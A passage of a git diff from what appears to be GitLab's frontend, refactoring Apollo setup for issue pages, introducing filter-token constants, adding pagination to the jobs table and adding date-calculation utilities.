+import getIssueStateQuery from './queries/get_issue_state.query.graphql';
export default function initIssuableApp(issuableData = {}) {
- const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
+ const el = document.getElementById('js-issuable-app');
+
+ if (!el) {
+ return undefined;
+ }
+
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: getIssueStateQuery,
+ data: {
+ issueState: { ...issueState, issueType: el.dataset.issueType },
+ },
});
const {
@@ -25,7 +33,7 @@ export default function initIssuableApp(issuableData = {}) {
const fullPath = `${projectNamespace}/${projectPath}`;
return new Vue({
- el: document.getElementById('js-issuable-app'),
+ el,
apolloProvider,
components: {
issuableApp,
diff --git a/app/assets/javascripts/issue_show/issue.js b/app/assets/javascripts/issue_show/issue.js
index a93abbf64df..4374dba6eb7 100644
--- a/app/assets/javascripts/issue_show/issue.js
+++ b/app/assets/javascripts/issue_show/issue.js
@@ -1,14 +1,33 @@
import Vue from 'vue';
-import VueApollo from 'vue-apollo';
import { mapGetters } from 'vuex';
-import createDefaultClient from '~/lib/graphql';
import { parseBoolean } from '~/lib/utils/common_utils';
import IssuableApp from './components/app.vue';
import HeaderActions from './components/header_actions.vue';
+import { issueState } from './constants';
+import apolloProvider from './graphql';
+import getIssueStateQuery from './queries/get_issue_state.query.graphql';
+
+const bootstrapApollo = (state = {}) => {
+ return apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: getIssueStateQuery,
+ data: {
+ issueState: state,
+ },
+ });
+};
export function initIssuableApp(issuableData, store) {
+ const el = document.getElementById('js-issuable-app');
+
+ if (!el) {
+ return undefined;
+ }
+
+ bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
+
return new Vue({
- el: document.getElementById('js-issuable-app'),
+ el,
+ apolloProvider,
store,
computed: {
...mapGetters(['getNoteableData']),
@@ -33,11 +52,7 @@ export function initIssueHeaderActions(store) {
return undefined;
}
- Vue.use(VueApollo);
-
- const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
- });
+ bootstrapApollo({ ...issueState, issueType: el.dataset.issueType });
return new Vue({
el,
diff --git a/app/assets/javascripts/issue_show/queries/get_issue_state.query.graphql b/app/assets/javascripts/issue_show/queries/get_issue_state.query.graphql
new file mode 100644
index 00000000000..33b737d2315
--- /dev/null
+++ b/app/assets/javascripts/issue_show/queries/get_issue_state.query.graphql
@@ -0,0 +1,3 @@
+query issueState {
+ issueState @client
+}
diff --git a/app/assets/javascripts/issue_show/queries/update_issue_state.mutation.graphql b/app/assets/javascripts/issue_show/queries/update_issue_state.mutation.graphql
new file mode 100644
index 00000000000..d91ca746066
--- /dev/null
+++ b/app/assets/javascripts/issue_show/queries/update_issue_state.mutation.graphql
@@ -0,0 +1,3 @@
+mutation updateIssueState($issueType: String, $isDirty: Boolean) {
+ updateIssueState(issueType: $issueType, isDirty: $isDirty) @client
+}
diff --git a/app/assets/javascripts/issues_list/components/issues_list_app.vue b/app/assets/javascripts/issues_list/components/issues_list_app.vue
index 93ba338a6b3..d5cab77f26c 100644
--- a/app/assets/javascripts/issues_list/components/issues_list_app.vue
+++ b/app/assets/javascripts/issues_list/components/issues_list_app.vue
@@ -27,6 +27,15 @@ import {
PARAM_SORT,
PARAM_STATE,
RELATIVE_POSITION_DESC,
+ TOKEN_TYPE_ASSIGNEE,
+ TOKEN_TYPE_AUTHOR,
+ TOKEN_TYPE_CONFIDENTIAL,
+ TOKEN_TYPE_MY_REACTION,
+ TOKEN_TYPE_EPIC,
+ TOKEN_TYPE_ITERATION,
+ TOKEN_TYPE_LABEL,
+ TOKEN_TYPE_MILESTONE,
+ TOKEN_TYPE_WEIGHT,
UPDATED_DESC,
URL_PARAM,
urlSortParams,
@@ -110,15 +119,15 @@ export default {
hasBlockedIssuesFeature: {
default: false,
},
- hasIssues: {
- default: false,
- },
hasIssueWeightsFeature: {
default: false,
},
hasMultipleIssueAssigneesFeature: {
default: false,
},
+ hasProjectIssues: {
+ default: false,
+ },
initialEmail: {
default: '',
},
@@ -174,6 +183,9 @@ export default {
};
},
computed: {
+ hasSearch() {
+ return this.searchQuery || Object.keys(this.urlFilterParams).length;
+ },
isBulkEditButtonDisabled() {
return this.showBulkEditSidebar || !this.issues.length;
},
@@ -193,9 +205,22 @@ export default {
return convertToSearchQuery(this.filterTokens) || undefined;
},
searchTokens() {
+ let preloadedAuthors = [];
+
+ if (gon.current_user_id) {
+ preloadedAuthors = [
+ {
+ id: gon.current_user_id,
+ name: gon.current_user_fullname,
+ username: gon.current_username,
+ avatar_url: gon.current_user_avatar_url,
+ },
+ ];
+ }
+
const tokens = [
{
- type: 'author_username',
+ type: TOKEN_TYPE_AUTHOR,
title: TOKEN_TITLE_AUTHOR,
icon: 'pencil',
token: AuthorToken,
@@ -203,9 +228,10 @@ export default {
unique: true,
defaultAuthors: [],
fetchAuthors: this.fetchUsers,
+ preloadedAuthors,
},
{
- type: 'assignee_username',
+ type: TOKEN_TYPE_ASSIGNEE,
title: TOKEN_TITLE_ASSIGNEE,
icon: 'user',
token: AuthorToken,
@@ -213,9 +239,10 @@ export default {
unique: !this.hasMultipleIssueAssigneesFeature,
defaultAuthors: DEFAULT_NONE_ANY,
fetchAuthors: this.fetchUsers,
+ preloadedAuthors,
},
{
- type: 'milestone',
+ type: TOKEN_TYPE_MILESTONE,
title: TOKEN_TITLE_MILESTONE,
icon: 'clock',
token: MilestoneToken,
@@ -224,24 +251,28 @@ export default {
fetchMilestones: this.fetchMilestones,
},
{
- type: 'labels',
+ type: TOKEN_TYPE_LABEL,
title: TOKEN_TITLE_LABEL,
icon: 'labels',
token: LabelToken,
defaultLabels: [],
fetchLabels: this.fetchLabels,
},
- {
- type: 'my_reaction_emoji',
+ ];
+
+ if (this.isSignedIn) {
+ tokens.push({
+ type: TOKEN_TYPE_MY_REACTION,
title: TOKEN_TITLE_MY_REACTION,
icon: 'thumb-up',
token: EmojiToken,
unique: true,
operators: OPERATOR_IS_ONLY,
fetchEmojis: this.fetchEmojis,
- },
- {
- type: 'confidential',
+ });
+
+ tokens.push({
+ type: TOKEN_TYPE_CONFIDENTIAL,
title: TOKEN_TITLE_CONFIDENTIAL,
icon: 'eye-slash',
token: GlFilteredSearchToken,
@@ -251,12 +282,12 @@ export default {
{ icon: 'eye-slash', value: 'yes', title: this.$options.i18n.confidentialYes },
{ icon: 'eye', value: 'no', title: this.$options.i18n.confidentialNo },
],
- },
- ];
+ });
+ }
if (this.projectIterationsPath) {
tokens.push({
- type: 'iteration',
+ type: TOKEN_TYPE_ITERATION,
title: TOKEN_TITLE_ITERATION,
icon: 'iteration',
token: IterationToken,
@@ -267,18 +298,19 @@ export default {
if (this.groupEpicsPath) {
tokens.push({
- type: 'epic_id',
+ type: TOKEN_TYPE_EPIC,
title: TOKEN_TITLE_EPIC,
icon: 'epic',
token: EpicToken,
unique: true,
+ idProperty: 'id',
fetchEpics: this.fetchEpics,
});
}
if (this.hasIssueWeightsFeature) {
tokens.push({
- type: 'weight',
+ type: TOKEN_TYPE_WEIGHT,
title: TOKEN_TITLE_WEIGHT,
icon: 'weight',
token: WeightToken,
@@ -304,13 +336,23 @@ export default {
);
},
urlParams() {
+ const filterParams = {
+ ...this.urlFilterParams,
+ };
+
+ if (filterParams.epic_id) {
+ filterParams.epic_id = encodeURIComponent(filterParams.epic_id);
+ } else if (filterParams['not[epic_id]']) {
+ filterParams['not[epic_id]'] = encodeURIComponent(filterParams['not[epic_id]']);
+ }
+
return {
due_date: this.dueDateFilter,
page: this.page,
search: this.searchQuery,
state: this.state,
...urlSortParams[this.sortKey],
- ...this.urlFilterParams,
+ ...filterParams,
};
},
},
@@ -342,7 +384,7 @@ export default {
fetchEmojis(search) {
return this.fetchWithCache(this.autocompleteAwardEmojisPath, 'emojis', 'name', search);
},
- async fetchEpics(search) {
+ async fetchEpics({ search }) {
const epics = await this.fetchWithCache(this.groupEpicsPath, 'epics');
if (!search) {
return epics.slice(0, MAX_LIST_SIZE);
@@ -365,12 +407,22 @@ export default {
return axios.get(this.autocompleteUsersPath, { params: { search } });
},
fetchIssues() {
- if (!this.hasIssues) {
+ if (!this.hasProjectIssues) {
return undefined;
}
this.isLoading = true;
+ const filterParams = {
+ ...this.apiFilterParams,
+ };
+
+ if (filterParams.epic_id) {
+ filterParams.epic_id = filterParams.epic_id.split('::&').pop();
+ } else if (filterParams['not[epic_id]']) {
+ filterParams['not[epic_id]'] = filterParams['not[epic_id]'].split('::&').pop();
+ }
+
return axios
.get(this.endpoint, {
params: {
@@ -381,7 +433,7 @@ export default {
state: this.state,
with_labels_details: true,
...apiSortParams[this.sortKey],
- ...this.apiFilterParams,
+ ...filterParams,
},
})
.then(({ data, headers }) => {
@@ -490,7 +542,7 @@ export default {
</script>
<template>
- <div v-if="hasIssues">
+ <div v-if="hasProjectIssues">
<issuable-list
:namespace="projectPath"
recent-searches-storage-key="issues"
@@ -500,6 +552,7 @@ export default {
:sort-options="sortOptions"
:initial-sort-by="sortKey"
:issuables="issues"
+ label-filter-param="label_name"
:tabs="$options.IssuableListTabs"
:current-tab="state"
:tab-counts="tabCounts"
@@ -536,7 +589,7 @@ export default {
/>
<csv-import-export-buttons
v-if="isSignedIn"
- class="gl-mr-3"
+ class="gl-md-mr-3"
:export-csv-path="exportCsvPathWithQuery"
:issuable-count="totalIssues"
/>
@@ -600,7 +653,7 @@ export default {
<template #empty-state>
<gl-empty-state
- v-if="searchQuery"
+ v-if="hasSearch"
:description="$options.i18n.noSearchResultsDescription"
:title="$options.i18n.noSearchResultsTitle"
:svg-path="emptyStateSvgPath"
diff --git a/app/assets/javascripts/issues_list/constants.js b/app/assets/javascripts/issues_list/constants.js
index 54e9668d300..06e140d6420 100644
--- a/app/assets/javascripts/issues_list/constants.js
+++ b/app/assets/javascripts/issues_list/constants.js
@@ -281,8 +281,18 @@ export const SPECIAL_FILTER = 'specialFilter';
export const ALTERNATIVE_FILTER = 'alternativeFilter';
export const SPECIAL_FILTER_VALUES = [FILTER_NONE, FILTER_ANY, FILTER_CURRENT];
+export const TOKEN_TYPE_AUTHOR = 'author_username';
+export const TOKEN_TYPE_ASSIGNEE = 'assignee_username';
+export const TOKEN_TYPE_MILESTONE = 'milestone';
+export const TOKEN_TYPE_LABEL = 'labels';
+export const TOKEN_TYPE_MY_REACTION = 'my_reaction_emoji';
+export const TOKEN_TYPE_CONFIDENTIAL = 'confidential';
+export const TOKEN_TYPE_ITERATION = 'iteration';
+export const TOKEN_TYPE_EPIC = 'epic_id';
+export const TOKEN_TYPE_WEIGHT = 'weight';
+
export const filters = {
- author_username: {
+ [TOKEN_TYPE_AUTHOR]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'author_username',
@@ -300,7 +310,7 @@ export const filters = {
},
},
},
- assignee_username: {
+ [TOKEN_TYPE_ASSIGNEE]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'assignee_username',
@@ -321,7 +331,7 @@ export const filters = {
},
},
},
- milestone: {
+ [TOKEN_TYPE_MILESTONE]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'milestone',
@@ -339,7 +349,7 @@ export const filters = {
},
},
},
- labels: {
+ [TOKEN_TYPE_LABEL]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'labels',
@@ -357,7 +367,7 @@ export const filters = {
},
},
},
- my_reaction_emoji: {
+ [TOKEN_TYPE_MY_REACTION]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'my_reaction_emoji',
@@ -371,7 +381,7 @@ export const filters = {
},
},
},
- confidential: {
+ [TOKEN_TYPE_CONFIDENTIAL]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'confidential',
@@ -383,7 +393,7 @@ export const filters = {
},
},
},
- iteration: {
+ [TOKEN_TYPE_ITERATION]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'iteration_title',
@@ -403,7 +413,7 @@ export const filters = {
},
},
},
- epic_id: {
+ [TOKEN_TYPE_EPIC]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'epic_id',
@@ -423,7 +433,7 @@ export const filters = {
},
},
},
- weight: {
+ [TOKEN_TYPE_WEIGHT]: {
[API_PARAM]: {
[OPERATOR_IS]: {
[NORMAL_FILTER]: 'weight',
diff --git a/app/assets/javascripts/issues_list/index.js b/app/assets/javascripts/issues_list/index.js
index 55719f6449b..d0c9462a3d7 100644
--- a/app/assets/javascripts/issues_list/index.js
+++ b/app/assets/javascripts/issues_list/index.js
@@ -88,9 +88,9 @@ export function mountIssuesListApp() {
groupEpicsPath,
hasBlockedIssuesFeature,
hasIssuableHealthStatusFeature,
- hasIssues,
hasIssueWeightsFeature,
hasMultipleIssueAssigneesFeature,
+ hasProjectIssues,
importCsvIssuesPath,
initialEmail,
isSignedIn,
@@ -126,9 +126,9 @@ export function mountIssuesListApp() {
groupEpicsPath,
hasBlockedIssuesFeature: parseBoolean(hasBlockedIssuesFeature),
hasIssuableHealthStatusFeature: parseBoolean(hasIssuableHealthStatusFeature),
- hasIssues: parseBoolean(hasIssues),
hasIssueWeightsFeature: parseBoolean(hasIssueWeightsFeature),
hasMultipleIssueAssigneesFeature: parseBoolean(hasMultipleIssueAssigneesFeature),
+ hasProjectIssues: parseBoolean(hasProjectIssues),
isSignedIn: parseBoolean(isSignedIn),
issuesPath,
jiraIntegrationPath,
@@ -147,9 +147,9 @@ export function mountIssuesListApp() {
importCsvIssuesPath,
maxAttachmentSize,
projectImportJiraPath,
- showExportButton: parseBoolean(hasIssues),
+ showExportButton: parseBoolean(hasProjectIssues),
showImportButton: parseBoolean(canImportIssues),
- showLabel: !parseBoolean(hasIssues),
+ showLabel: !parseBoolean(hasProjectIssues),
// For IssuableByEmail component
emailsHelpPagePath,
initialEmail,
diff --git a/app/assets/javascripts/issues_list/utils.js b/app/assets/javascripts/issues_list/utils.js
index 234fd59ca8d..b5ec44198da 100644
--- a/app/assets/javascripts/issues_list/utils.js
+++ b/app/assets/javascripts/issues_list/utils.js
@@ -16,6 +16,7 @@ import {
RELATIVE_POSITION_DESC,
SPECIAL_FILTER,
SPECIAL_FILTER_VALUES,
+ TOKEN_TYPE_ASSIGNEE,
UPDATED_ASC,
UPDATED_DESC,
urlSortParams,
@@ -173,7 +174,7 @@ export const getFilterTokens = (locationSearch) => {
const getFilterType = (data, tokenType = '') =>
SPECIAL_FILTER_VALUES.includes(data) ||
- (tokenType === 'assignee_username' && isPositiveInteger(data))
+ (tokenType === TOKEN_TYPE_ASSIGNEE && isPositiveInteger(data))
? SPECIAL_FILTER
: NORMAL_FILTER;
diff --git a/app/assets/javascripts/jira_import/components/jira_import_form.vue b/app/assets/javascripts/jira_import/components/jira_import_form.vue
index 6f2fb41ca15..e7816f6d187 100644
--- a/app/assets/javascripts/jira_import/components/jira_import_form.vue
+++ b/app/assets/javascripts/jira_import/components/jira_import_form.vue
@@ -168,10 +168,12 @@ export default {
})
.then(({ data }) => {
this.users =
- data?.project?.projectMembers?.nodes?.map(({ user }) => ({
- ...user,
- id: getIdFromGraphQLId(user.id),
- })) || [];
+ data?.project?.projectMembers?.nodes
+ .filter((x) => x?.user)
+ .map(({ user }) => ({
+ ...user,
+ id: getIdFromGraphQLId(user.id),
+ })) || [];
return this.users;
})
.finally(() => {
diff --git a/app/assets/javascripts/jobs/components/job_container_item.vue b/app/assets/javascripts/jobs/components/job_container_item.vue
index c08ac0317b8..d0594d1ad27 100644
--- a/app/assets/javascripts/jobs/components/job_container_item.vue
+++ b/app/assets/javascripts/jobs/components/job_container_item.vue
@@ -54,7 +54,7 @@ export default {
<template>
<div class="build-job gl-relative" :class="classes">
<gl-link
- v-gl-tooltip:tooltip-container.left
+ v-gl-tooltip.left.viewport
:href="job.status.details_path"
:title="tooltipText"
class="gl-display-flex gl-align-items-center"
diff --git a/app/assets/javascripts/jobs/components/table/constants.js b/app/assets/javascripts/jobs/components/table/constants.js
new file mode 100644
index 00000000000..7e973a34e5c
--- /dev/null
+++ b/app/assets/javascripts/jobs/components/table/constants.js
@@ -0,0 +1,9 @@
+export const GRAPHQL_PAGE_SIZE = 30;
+
+export const initialPaginationState = {
+ currentPage: 1,
+ prevPageCursor: '',
+ nextPageCursor: '',
+ first: GRAPHQL_PAGE_SIZE,
+ last: null,
+};
diff --git a/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql b/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
index c2104754bad..68c6584cda6 100644
--- a/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
+++ b/app/assets/javascripts/jobs/components/table/graphql/queries/get_jobs.query.graphql
@@ -1,6 +1,13 @@
-query getJobs($fullPath: ID!, $statuses: [CiJobStatus!]) {
+query getJobs(
+ $fullPath: ID!
+ $first: Int
+ $last: Int
+ $after: String
+ $before: String
+ $statuses: [CiJobStatus!]
+) {
project(fullPath: $fullPath) {
- jobs(first: 20, statuses: $statuses) {
+ jobs(after: $after, before: $before, first: $first, last: $last, statuses: $statuses) {
pageInfo {
endCursor
hasNextPage
diff --git a/app/assets/javascripts/jobs/components/table/jobs_table.vue b/app/assets/javascripts/jobs/components/table/jobs_table.vue
index 4fe5bbf79cd..076c0e78b11 100644
--- a/app/assets/javascripts/jobs/components/table/jobs_table.vue
+++ b/app/assets/javascripts/jobs/components/table/jobs_table.vue
@@ -1,5 +1,6 @@
<script>
import { GlTable } from '@gitlab/ui';
+import { DEFAULT_TH_CLASSES } from '~/lib/utils/constants';
import { s__, __ } from '~/locale';
import CiBadge from '~/vue_shared/components/ci_badge_link.vue';
import ActionsCell from './cells/actions_cell.vue';
@@ -9,7 +10,7 @@ import PipelineCell from './cells/pipeline_cell.vue';
const defaultTableClasses = {
tdClass: 'gl-p-5!',
- thClass: 'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!',
+ thClass: DEFAULT_TH_CLASSES,
};
// eslint-disable-next-line @gitlab/require-i18n-strings
const coverageTdClasses = `${defaultTableClasses.tdClass} gl-display-none! gl-lg-display-table-cell!`;
diff --git a/app/assets/javascripts/jobs/components/table/jobs_table_app.vue b/app/assets/javascripts/jobs/components/table/jobs_table_app.vue
index cf7970f41b1..2061b1f1eb2 100644
--- a/app/assets/javascripts/jobs/components/table/jobs_table_app.vue
+++ b/app/assets/javascripts/jobs/components/table/jobs_table_app.vue
@@ -1,6 +1,7 @@
<script>
-import { GlAlert, GlSkeletonLoader } from '@gitlab/ui';
+import { GlAlert, GlPagination, GlSkeletonLoader } from '@gitlab/ui';
import { __ } from '~/locale';
+import { GRAPHQL_PAGE_SIZE, initialPaginationState } from './constants';
import GetJobs from './graphql/queries/get_jobs.query.graphql';
import JobsTable from './jobs_table.vue';
import JobsTableEmptyState from './jobs_table_empty_state.vue';
@@ -12,6 +13,7 @@ export default {
},
components: {
GlAlert,
+ GlPagination,
GlSkeletonLoader,
JobsTable,
JobsTableEmptyState,
@@ -28,10 +30,18 @@ export default {
variables() {
return {
fullPath: this.fullPath,
+ first: this.pagination.first,
+ last: this.pagination.last,
+ after: this.pagination.nextPageCursor,
+ before: this.pagination.prevPageCursor,
};
},
- update({ project }) {
- return project?.jobs?.nodes || [];
+ update(data) {
+ const { jobs: { nodes: list = [], pageInfo = {} } = {} } = data.project || {};
+ return {
+ list,
+ pageInfo,
+ };
},
error() {
this.hasError = true;
@@ -40,10 +50,11 @@ export default {
},
data() {
return {
- jobs: null,
+ jobs: {},
hasError: false,
isAlertDismissed: false,
scope: null,
+ pagination: initialPaginationState,
};
},
computed: {
@@ -51,7 +62,16 @@ export default {
return this.hasError && !this.isAlertDismissed;
},
showEmptyState() {
- return this.jobs.length === 0 && !this.scope;
+ return this.jobs.list.length === 0 && !this.scope;
+ },
+ prevPage() {
+ return Math.max(this.pagination.currentPage - 1, 0);
+ },
+ nextPage() {
+ return this.jobs.pageInfo?.hasNextPage ? this.pagination.currentPage + 1 : null;
+ },
+ showPaginationControls() {
+ return Boolean(this.prevPage || this.nextPage) && !this.$apollo.loading;
},
},
methods: {
@@ -60,6 +80,24 @@ export default {
this.$apollo.queries.jobs.refetch({ statuses: scope });
},
+ handlePageChange(page) {
+ const { startCursor, endCursor } = this.jobs.pageInfo;
+
+ if (page > this.pagination.currentPage) {
+ this.pagination = {
+ ...initialPaginationState,
+ nextPageCursor: endCursor,
+ currentPage: page,
+ };
+ } else {
+ this.pagination = {
+ last: GRAPHQL_PAGE_SIZE,
+ first: null,
+ prevPageCursor: startCursor,
+ currentPage: page,
+ };
+ }
+ },
},
};
</script>
@@ -79,17 +117,34 @@ export default {
<jobs-table-tabs @fetchJobsByStatus="fetchJobsByStatus" />
<div v-if="$apollo.loading" class="gl-mt-5">
- <gl-skeleton-loader
- preserve-aspect-ratio="none"
- equal-width-lines
- :lines="5"
- :width="600"
- :height="66"
- />
+ <gl-skeleton-loader :width="1248" :height="73">
+ <circle cx="748.031" cy="37.7193" r="15.0307" />
+ <circle cx="787.241" cy="37.7193" r="15.0307" />
+ <circle cx="827.759" cy="37.7193" r="15.0307" />
+ <circle cx="866.969" cy="37.7193" r="15.0307" />
+ <circle cx="380" cy="37" r="18" />
+ <rect x="432" y="19" width="126.587" height="15" />
+ <rect x="432" y="41" width="247" height="15" />
+ <rect x="158" y="19" width="86.1" height="15" />
+ <rect x="158" y="41" width="168" height="15" />
+ <rect x="22" y="19" width="96" height="36" />
+ <rect x="924" y="30" width="96" height="15" />
+ <rect x="1057" y="20" width="166" height="35" />
+ </gl-skeleton-loader>
</div>
<jobs-table-empty-state v-else-if="showEmptyState" />
- <jobs-table v-else :jobs="jobs" />
+ <jobs-table v-else :jobs="jobs.list" />
+
+ <gl-pagination
+ v-if="showPaginationControls"
+ :value="pagination.currentPage"
+ :prev-page="prevPage"
+ :next-page="nextPage"
+ align="center"
+ class="gl-mt-3"
+ @input="handlePageChange"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/lib/utils/constants.js b/app/assets/javascripts/lib/utils/constants.js
index b19a4a01a5f..2d4765f54b9 100644
--- a/app/assets/javascripts/lib/utils/constants.js
+++ b/app/assets/javascripts/lib/utils/constants.js
@@ -16,3 +16,6 @@ export const BV_HIDE_MODAL = 'bv::hide::modal';
export const BV_HIDE_TOOLTIP = 'bv::hide::tooltip';
export const BV_DROPDOWN_SHOW = 'bv::dropdown::show';
export const BV_DROPDOWN_HIDE = 'bv::dropdown::hide';
+
+export const DEFAULT_TH_CLASSES =
+ 'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!';
diff --git a/app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js b/app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js
new file mode 100644
index 00000000000..396c1703c1e
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/datetime/date_calculation_utility.js
@@ -0,0 +1,703 @@
+import { isNumber } from 'lodash';
+import { __, n__ } from '../../../locale';
+import { getDayName, parseSeconds } from './date_format_utility';
+
+const DAYS_IN_WEEK = 7;
+export const SECONDS_IN_DAY = 86400;
+export const MILLISECONDS_IN_DAY = 24 * 60 * 60 * 1000;
+
+/**
+ * This method allows you to create new Date instance from existing
+ * date instance without keeping the reference.
+ *
+ * @param {Date} date
+ */
+export const newDate = (date) => (date instanceof Date ? new Date(date.getTime()) : new Date());
+
+/**
+ * Returns number of days in a month for provided date.
+ * courtesy: https://stacko(verflow.com/a/1185804/414749
+ *
+ * @param {Date} date
+ */
+export const totalDaysInMonth = (date) => {
+ if (!date) {
+ return 0;
+ }
+ return new Date(date.getFullYear(), date.getMonth() + 1, 0).getDate();
+};
+
+/**
+ * Returns number of days in a quarter from provided
+ * months array.
+ *
+ * @param {Array} quarter
+ */
+export const totalDaysInQuarter = (quarter) =>
+ quarter.reduce((acc, month) => acc + totalDaysInMonth(month), 0);
+
+/**
+ * Returns list of Dates referring to Sundays of the month
+ * based on provided date
+ *
+ * @param {Date} date
+ */
+export const getSundays = (date) => {
+ if (!date) {
+ return [];
+ }
+
+ const daysToSunday = [
+ __('Saturday'),
+ __('Friday'),
+ __('Thursday'),
+ __('Wednesday'),
+ __('Tuesday'),
+ __('Monday'),
+ __('Sunday'),
+ ];
+
+ const month = date.getMonth();
+ const year = date.getFullYear();
+ const sundays = [];
+ const dateOfMonth = new Date(year, month, 1);
+
+ while (dateOfMonth.getMonth() === month) {
+ const dayName = getDayName(dateOfMonth);
+ if (dayName === __('Sunday')) {
+ sundays.push(new Date(dateOfMonth.getTime()));
+ }
+
+ const daysUntilNextSunday = daysToSunday.indexOf(dayName) + 1;
+ dateOfMonth.setDate(dateOfMonth.getDate() + daysUntilNextSunday);
+ }
+
+ return sundays;
+};
+
+/**
+ * Returns list of Dates representing a timeframe of months from startDate and length
+ * This method also supports going back in time when `length` is negative number
+ *
+ * @param {Date} initialStartDate
+ * @param {Number} length
+ */
+export const getTimeframeWindowFrom = (initialStartDate, length) => {
+ if (!(initialStartDate instanceof Date) || !length) {
+ return [];
+ }
+
+ const startDate = newDate(initialStartDate);
+ const moveMonthBy = length > 0 ? 1 : -1;
+
+ startDate.setDate(1);
+ startDate.setHours(0, 0, 0, 0);
+
+ // Iterate and set date for the size of length
+ // and push date reference to timeframe list
+ const timeframe = new Array(Math.abs(length)).fill().map(() => {
+ const currentMonth = startDate.getTime();
+ startDate.setMonth(startDate.getMonth() + moveMonthBy);
+ return new Date(currentMonth);
+ });
+
+ // Change date of last timeframe item to last date of the month
+ // when length is positive
+ if (length > 0) {
+ timeframe[timeframe.length - 1].setDate(totalDaysInMonth(timeframe[timeframe.length - 1]));
+ }
+
+ return timeframe;
+};
+
+/**
+ * Returns count of day within current quarter from provided date
+ * and array of months for the quarter
+ *
+ * Eg;
+ * If date is 15 Feb 2018
+ * and quarter is [Jan, Feb, Mar]
+ *
+ * Then 15th Feb is 46th day of the quarter
+ * Where 31 (days in Jan) + 15 (date of Feb).
+ *
+ * @param {Date} date
+ * @param {Array} quarter
+ */
+export const dayInQuarter = (date, quarter) => {
+ const dateValues = {
+ date: date.getDate(),
+ month: date.getMonth(),
+ };
+
+ return quarter.reduce((acc, month) => {
+ if (dateValues.month > month.getMonth()) {
+ return acc + totalDaysInMonth(month);
+ } else if (dateValues.month === month.getMonth()) {
+ return acc + dateValues.date;
+ }
+ return acc + 0;
+ }, 0);
+};
+
+export const millisecondsPerDay = 1000 * 60 * 60 * 24;
+
+export const getDayDifference = (a, b) => {
+ const date1 = Date.UTC(a.getFullYear(), a.getMonth(), a.getDate());
+ const date2 = Date.UTC(b.getFullYear(), b.getMonth(), b.getDate());
+
+ return Math.floor((date2 - date1) / millisecondsPerDay);
+};
+
+/**
+ * Calculates the milliseconds between now and a given date string.
+ * The result cannot become negative.
+ *
+ * @param endDate date string that the time difference is calculated for
+ * @return {Number} number of milliseconds remaining until the given date
+ */
+export const calculateRemainingMilliseconds = (endDate) => {
+ const remainingMilliseconds = new Date(endDate).getTime() - Date.now();
+ return Math.max(remainingMilliseconds, 0);
+};
+
+/**
+ * Subtracts a given number of days from a given date and returns the new date.
+ *
+ * @param {Date} date the date that we will substract days from
+ * @param {Number} daysInPast number of days that are subtracted from a given date
+ * @returns {Date} Date in past as Date object
+ */
+export const getDateInPast = (date, daysInPast) =>
+ new Date(newDate(date).setDate(date.getDate() - daysInPast));
+
+/**
+ * Adds a given number of days to a given date and returns the new date.
+ *
+ * @param {Date} date the date that we will add days to
+ * @param {Number} daysInFuture number of days that are added to a given date
+ * @returns {Date} Date in future as Date object
+ */
+export const getDateInFuture = (date, daysInFuture) =>
+ new Date(newDate(date).setDate(date.getDate() + daysInFuture));
+
+/**
+ * Checks if a given date-instance was created with a valid date
+ *
+ * @param {Date} date
+ * @returns boolean
+ */
+export const isValidDate = (date) => date instanceof Date && !Number.isNaN(date.getTime());
+
+/*
+ * Appending T00:00:00 makes JS assume local time and prevents it from shifting the date
+ * to match the user's time zone. We want to display the date in server time for now, to
+ * be consistent with the "edit issue -> due date" UI.
+ */
+
+export const newDateAsLocaleTime = (date) => {
+ const suffix = 'T00:00:00';
+ return new Date(`${date}${suffix}`);
+};
+
+export const beginOfDayTime = 'T00:00:00Z';
+export const endOfDayTime = 'T23:59:59Z';
+
+/**
+ * @param {Date} d1
+ * @param {Date} d2
+ * @param {Function} formatter
+ * @return {Any[]} an array of formatted dates between 2 given dates (including start&end date)
+ */
+export const getDatesInRange = (d1, d2, formatter = (x) => x) => {
+ if (!(d1 instanceof Date) || !(d2 instanceof Date)) {
+ return [];
+ }
+ let startDate = d1.getTime();
+ const endDate = d2.getTime();
+ const oneDay = 24 * 3600 * 1000;
+ const range = [d1];
+
+ while (startDate < endDate) {
+ startDate += oneDay;
+ range.push(new Date(startDate));
+ }
+
+ return range.map(formatter);
+};
+
+/**
+ * Converts the supplied number of seconds to milliseconds.
+ *
+ * @param {Number} seconds
+ * @return {Number} number of milliseconds
+ */
+export const secondsToMilliseconds = (seconds) => seconds * 1000;
+
+/**
+ * Converts the supplied number of seconds to days.
+ *
+ * @param {Number} seconds
+ * @return {Number} number of days
+ */
+export const secondsToDays = (seconds) => Math.round(seconds / 86400);
+
+/**
+ * Converts a numeric utc offset in seconds to +/- hours
+ * ie -32400 => -9 hours
+ * ie -12600 => -3.5 hours
+ *
+ * @param {Number} offset UTC offset in seconds as a integer
+ *
+ * @return {String} the + or - offset in hours
+ */
+export const secondsToHours = (offset) => {
+ const parsed = parseInt(offset, 10);
+ if (Number.isNaN(parsed) || parsed === 0) {
+ return `0`;
+ }
+ const num = offset / 3600;
